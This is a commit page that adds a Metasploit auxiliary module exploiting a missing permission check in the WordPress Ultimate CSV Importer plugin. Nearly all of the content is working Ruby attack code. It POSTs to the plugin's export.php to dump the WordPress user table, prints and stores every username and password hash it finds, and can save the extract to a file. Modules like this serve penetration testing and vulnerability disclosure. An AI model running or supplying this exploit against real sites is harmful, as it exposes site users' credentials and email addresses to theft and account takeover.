Skip to content

Commit 73bac94

Browse files
committed
Add Ultimate CSV Importer extract module
1 parent a22f5c1 commit 73bac94

File tree

1 file changed

+127
-0
lines changed

1 file changed

+127
-0
lines changed
Lines changed: 127 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,127 @@
1+
##
2+
# This module requires Metasploit: http://www.metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'csv'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
include Msf::HTTP::Wordpress
11+
include Msf::Auxiliary::Report
12+
13+
def initialize(info = {})
14+
super(update_info(
15+
info,
16+
'Name' => 'WordPress Ultimate CSV Importer User Table Extract',
17+
'Description' => %q{Due to lack of verification of a visitor's
18+
permissions, it is possible to execute the
19+
'export.php' script included in the default
20+
installation of this plugin, and retrieve the full
21+
contents of the user table in the WordPress
22+
installation. This results in full disclosure of
23+
usernames, hashed passwords and email addresses
24+
for all users.},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'James Hooker', # Disclosure
29+
'Rob Carr <rob[at]rastating.com>' # Metasploit module
30+
],
31+
'References' =>
32+
[
33+
['WPVDB', '7778']
34+
],
35+
'DisclosureDate' => 'Feb 02 2015'
36+
))
37+
38+
register_options(
39+
[
40+
OptString.new('EXPORT_TO', [false, 'The file to save the CSV extract to'])
41+
], self.class)
42+
end
43+
44+
def export_to
45+
datastore['EXPORT_TO']
46+
end
47+
48+
def plugin_url
49+
normalize_uri(wordpress_url_plugins, 'wp-ultimate-csv-importer')
50+
end
51+
52+
def exporter_url
53+
normalize_uri(plugin_url, 'modules', 'export', 'templates', 'export.php')
54+
end
55+
56+
def check
57+
check_plugin_version_from_readme('wp-ultimate-csv-importer', '3.6.7' '3.6.0')
58+
end
59+
60+
def process_row(row)
61+
if row[:user_login] && row[:user_pass]
62+
print_good("#{peer} - Found credential: #{row[:user_login]}:#{row[:user_pass]}")
63+
64+
credential_data = {
65+
origin_type: :service,
66+
module_fullname: fullname,
67+
private_type: :nonreplayable_hash,
68+
address: ::Rex::Socket.getaddress(rhost, true),
69+
port: rport,
70+
protocol: 'tcp',
71+
service_name: ssl ? 'https' : 'http',
72+
username: row[:user_login],
73+
private_data: row[:user_pass],
74+
workspace_id: myworkspace_id
75+
}
76+
77+
credential_core = create_credential(credential_data)
78+
login_data = {
79+
core: credential_core,
80+
status: Metasploit::Model::Login::Status::UNTRIED
81+
}
82+
login_data.merge!(credential_data)
83+
create_credential_login(login_data)
84+
end
85+
end
86+
87+
def parse_csv(body, delimiter)
88+
begin
89+
CSV::Converters[:blank_to_nil] = lambda do |field|
90+
field && field.empty? ? nil : field
91+
end
92+
csv = CSV.new(body, :col_sep => delimiter, :headers => true, :header_converters => :symbol, :converters => [:all, :blank_to_nil])
93+
csv.to_a.map { |row| process_row(row) }
94+
return true
95+
rescue
96+
return false
97+
end
98+
end
99+
100+
def run
101+
print_status("#{peer} - Requesting CSV extract...")
102+
res = send_request_cgi(
103+
'method' => 'POST',
104+
'uri' => exporter_url,
105+
'vars_post' => { 'export' => 'users' }
106+
)
107+
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
108+
fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200
109+
110+
print_status("#{peer} - Parsing response...")
111+
unless parse_csv(res.body, ',')
112+
unless parse_csv(res.body, ';')
113+
fail_with("#{peer} - Failed to parse response, the CSV was invalid")
114+
end
115+
end
116+
117+
if export_to.to_s.strip.length > 0
118+
begin
119+
print_status("#{peer} - Exporting CSV to #{export_to}...")
120+
File.open(export_to, 'wb') { |f| f.write(res.body) }
121+
print_good("#{peer} - CSV exported")
122+
rescue
123+
print_error("#{peer} - Failed to export CSV")
124+
end
125+
end
126+
end
127+
end

0 commit comments

Comments
 (0)